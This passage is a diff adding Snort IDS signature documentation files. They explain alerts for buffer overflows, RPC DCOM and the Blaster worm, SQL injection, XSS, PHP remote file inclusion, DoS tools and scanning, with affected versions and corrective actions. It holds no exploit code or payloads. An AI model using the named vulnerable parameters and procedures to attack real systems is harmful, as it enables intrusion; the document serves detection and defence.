+A specific string used during the overflow is application-dependent however, a platform-specific command or code may be present and is detected by this rule.
+
+--
+Attack Scenarios: 
+An attacker launches an overflow exploit against a vulnerable FTP server and gains the ability to start a shell session, thus obtaining interactive access to the target.
+
+--
+Ease of Attack: 
+Simple
+
+
+--
+False Positives: 
+This event may be generated by legitimate traffic to the specified port.
+
+
+-- 
+False Negatives: 
+This event is specific to the shell code defined in the rule.
+Other shell code sequences may not be detected.
+
+--
+Corrective Action: 
+Check the target host for other signs of compromise.
+
+Look for other events concerning the target host.
+
+Apply vendor supplied patches and keep the operating system up to date.
+
+--
+Contributors: 
+Original Rule Writer Unkown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS357
+
+--
--- snort-2.8.5.2.orig/doc/signatures/634.txt
+++ snort-2.8.5.2/doc/signatures/634.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+634
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain which ports a host may be listening on, whether or not the ports are filtered by a firewall and if the host is vulnerable to a particular exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. Then the attacker might find out that the FTP service is vulnerable to a particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1505.txt
+++ snort-2.8.5.2/doc/signatures/1505.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1505
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/420.txt
+++ snort-2.8.5.2/doc/signatures/420.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+
+Sid:
+420
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Mobile Host Redirect datagram with an undefined ICMP code.
+
+--
+
+Impact:
+
+Undefined ICMP Code values should never be seen on the network.  This could be an indication of nefarious activity on the network.
+
+--
+
+Detailed Information:
+The Transparent Internet Routing for IP Mobile Hosts IETF draft defines ICMP Type 32 Code 0 as an ICMP Mobile Host Redirect Message.  This message was intended to be used by mobile computers to inform base-stations of their location on the network as they move from base-station to base-station.  In normal situations the ICMP Code should be set to 0, values other than 0 are undefined and should never be used.
+
+This IETF draft was never ratified, and no hardware is known to exist that generates this type of ICMP datagram
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 32 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for nefarious activity
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2233.txt
+++ snort-2.8.5.2/doc/signatures/2233.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2233
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in Trend Micro InterScan eManager.
+
+--
+Impact:
+Serious. Remote administrative access is possible.
+
+--
+Detailed Information:
+Versions of Trend Micro InterScan eManager suffer from a buffer overflow
+condition that can present an attacker with the opportunity to execute 
+arbitrary code of their choosing which could lead to remote access to 
+the server.
+
+--
+Affected Systems:
+	Trend Micro InterScan eManager 3.51
+
+--
+Attack Scenarios:
+If the buffer overflow condition is met, the attacker can run code of 
+their choosing on the affected host.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable the web interface
+
+Enable NTLM authentication for the administrative interface
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3327
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2735.txt
+++ snort-2.8.5.2/doc/signatures/2735.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2735
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_char
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/529.txt
+++ snort-2.8.5.2/doc/signatures/529.txt
@@ -0,0 +1,68 @@
+Rule:  
+
+--
+Sid:
+529
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of
+Service (DoS) attack against a host using the RFPoison tool.
+
+--
+Impact:
+Serious. Denial of Service.
+
+--
+Detailed Information:
+The Microsoft Local Security Authority (LSA) service does not handle
+certain malformed requests correctly. This service allows for the
+manipulation of user privileges on the host. A specially crafted
+malformed request sent to the LSA service will cause the system to
+become unresponsive.
+
+--
+Affected Systems:
+	Microsoft Windows NT Workstation
+	Microsoft Windows NT Server
+	Microsoft Windows NT Terminal Server
+	
+--
+Attack Scenarios:
+An attacker can use the RFPoison tool against a host to generate the
+request necessary to cause the DoS.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+RFP:
+http://www.wiretrip.net/rfp/txt/rfp9906.txt
+
+Microsoft:
+http://support.microsoft.com/support/kb/articles/Q231/4/57.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2351.txt
+++ snort-2.8.5.2/doc/signatures/2351.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2351
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1566.txt
+++ snort-2.8.5.2/doc/signatures/1566.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1566
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2002.txt
+++ snort-2.8.5.2/doc/signatures/2002.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2002
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in a php application. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in php applications.
+
+The attacker may be trying to gain information on the php implementation on the host, this may be the prelude to an attack against that host using that information.
+
+--
+Affected Systems:
+Any host using php.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the php application on the host. The attacker might then gain administrator access to the site or database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000687.txt
+++ snort-2.8.5.2/doc/signatures/100000687.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+100000687
+
+--
+Summary:
+This event is generated when an empty CTCP NOTICE message is sent to an IRC 
+channel.
+
+--
+Impact:
+If the EnergyMech IRC Bot receives such a message, a denial of service 
+condition will occur.
+
+--
+Detailed Information:
+Whenever the EnergyMech IRC Bot processes a null CTCP NOTICE message, a denial 
+of service condition occurs. Note that this rule is set to examine only default 
+IRC ports, in order to conserve system resources; if you are particularly 
+concerned about this exploit, you may wish to set the ports to "any", as IRC 
+channels can exist on any port.
+
+--
+Affected Systems:
+EnergyMech <= 3.0.1
+
+--
+Attack Scenarios:
+An attacker could exploit this vulnerability via any IRC client, or by using an 
+automated script.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to version 3.0.2 or greater.
+
+--
+Contributors:
+VeriSign MSS Operations Team
+Joel Esler <joel.esler@sourcefire.com>
+
+--
+Additional References:
+http://www.energymech.net/versions-3.0.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1168.txt
+++ snort-2.8.5.2/doc/signatures/1168.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1168
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2321.txt
+++ snort-2.8.5.2/doc/signatures/2321.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+2321
+
+--
+Summary:
+This event is generated when an attempt is made to access foxweb.exe, a 
+CGI web application running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+The FoxWeb application is used to communicate with FoxPro databases. The
+program foxweb.exe contains an error that may allow an attacker to
+execute arbitrary code of their choosing and possibly gain unauthorized
+administrator access to the server.
+
+--
+Affected Systems:
+	FoxWeb 2.5 and prior
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator by supplying input of
+their choosing to the CGI program.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000807.txt
+++ snort-2.8.5.2/doc/signatures/100000807.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000807
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "CommonSense" application running on a webserver. Access to the file "search.php" with SQL commands being passed as the "q" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "q" parameter in the "search.php" script used by the "CommonSense" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using CommonSense
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000799.txt
+++ snort-2.8.5.2/doc/signatures/100000799.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000799
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "c4" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000128.txt
+++ snort-2.8.5.2/doc/signatures/100000128.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+100000128
+
+-- 
+Summary: 
+This event is generated when an attempt is made to link to an external script 
+as part of the Stadtaus.com PHP Form Mail program.
+
+-- 
+
+Impact: 
+The script being included will be run in the same security context as the 
+vulnerable program, enabling a variety of web-based attacks.
+
+--
+Detailed Information:
+The Stadtaus.com PHP Form Mail system's download_center_lite.inc.php module, 
+when including other scripts by way of its script_root parameter, fails to 
+validate the location of these scripts, and thus allows attackers to include 
+any malicious script anywhere on the web. The included script will be executed 
+with the same permissions and in the same security context at the vulnerable 
+program itself, thus allowing a range of attacks.
+
+--
+Affected Systems:
+Stadtaus.com PHP Form Mail Script 2.3
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, there are no vendor-supplied patches or workarounds. However, if it 
+is possible to globally disable PHP's 'allow_url_fopen' and 'register_globals' 
+directives in your environment, doing so may disable this vulnerability. 
+However, turning off these directives should be tested in a non-production 
+environment, in case doing so breaks other scripts on your system.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2455.txt
+++ snort-2.8.5.2/doc/signatures/2455.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2455
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo Instant Messenger running has sent a message to a Yahoo IM conference.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+A Yahoo IM conference allows multiple users to participate in the exchange of text and voice messages, as well as share files and webcams.  It is possible that a file that is exchanged may contain malicious code such as as virus, worm, Trojan, or backdoor.  Also, since all exchanges are done via Yahoo IM servers and in clear text, there should be no expectation of privacy.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+A Yahoo IM user may unwittingly accept a malicious file.
+
+--
+Ease of Attack:
+Easy to transfer a malicious file.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/490.txt
+++ snort-2.8.5.2/doc/signatures/490.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+490
+
+--
+
+Summary:
+This event is generated when network traffic containing the string
+BattleMail is observed.
+
+--
+
+Impact:
+Unknown
+
+--
+
+Detailed Information:
+Email communications containing the string "BattleMail" has been
+detected in network traffic going to a mail server on the protected
+network. This may indicate participation in an email gaming system by
+the recipient.
+
+--
+
+Affected Systems:
+	All email servers
+
+--
+
+Attack Scenarios:
+Not applicable
+
+--
+
+Ease of Attack:
+Simple, no exploit software required.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Not applicable
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+
+Additional References:
+
+Battlemail:
+http://www.thaicybersoft.com/download/internet/e-mail/BattleMail/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/729.txt
+++ snort-2.8.5.2/doc/signatures/729.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+729
+
+--
+Summary:
+This event is generated when network traffic indicating the use of a
+multimedia application is detected.
+
+--
+Impact:
+This may be a violation of corporate policy since these applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation.
+
+--
+Detailed Information:
+Multimedia client applications can be used to view movies and listen to
+music files. Some also include file sharing facilities. Use of these
+programs may constitute a violation of company policy.
+
+Clients may also contain vulnerabilities that can give an attacker an
+attack vector for delivering Trojan horse programs and viruses.
+
+--
+Affected Systems:
+	All systems running multimedia applications
+
+--
+Attack Scenarios:
+A user can download files from a source external to the protected
+network that may contain malicious code hidden in the file giving an
+attacker the opportunity to gain access to a host inside the protected
+network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1761.txt
+++ snort-2.8.5.2/doc/signatures/1761.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1761
+
+--
+Summary:
+This event is generated when network traffic indicating the use of an
+IDS system on the protected network is detected.
+
+--
+Impact:
+These tools may be used to compromise data on the network or may
+indicate mis-use of other IDS systems.
+
+--
+Detailed Information:
+This event indicates the use of an IDS tool. The source of the event
+should be investigated carefully. These tools may be used to gather data
+present in traffic on the protected network.
+
+--
+Affected Systems:
+	All networks.
+
+--
+Attack Scenarios:
+An unathorized user could use an IDS to gather data and observe traffic
+present on the network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2355.txt
+++ snort-2.8.5.2/doc/signatures/2355.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2355
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application Invision Board.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+Invision Board contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating a variable when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in the file emailer.php.
+
+--
+Affected Systems:
+	Invision Power Services Invision Board 1.1.1
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the variable that defines the location of the emailer.php
+script.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/456.txt
+++ snort-2.8.5.2/doc/signatures/456.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+456
+
+--
+Summary:
+This event is generated when an attempt is made to use ICMP as a
+reconnaisance tool.
+
+--
+Impact:
+Can be used as a reconnaissance tool.  Traceroute reveals information
+about the layout of a network.
+
+--
+Detailed Information:
+There are at least three different implementations of traceroute.  In
+one implementation traceroute works by sending an ICMP Echo Request
+packet to a destination host with a TTL value of 1.  If the host is more
+than one hop away, the first route that receives the back will send back
+an ICMP packet indicating that the TTL was exceeded.  The address of
+this router is then listed as the first hop.  The packet is then sent
+out again with a TTL of 2.  This continues until the destination host is
+able to reply or some maximum TTL value is reached.
+
+The other two implementations use the same TTL-based concept with an
+ICMP type of 30(traceroute) or with an UDP packet destined for an
+ephemeral port.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+
+Traceroute is often used against machines on a network prior to an
+attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP type 30 messages.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+Miscellaneous
+http://www.faqs.org/rfcs/rfc1393.html
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/701.txt
+++ snort-2.8.5.2/doc/signatures/701.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+701
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
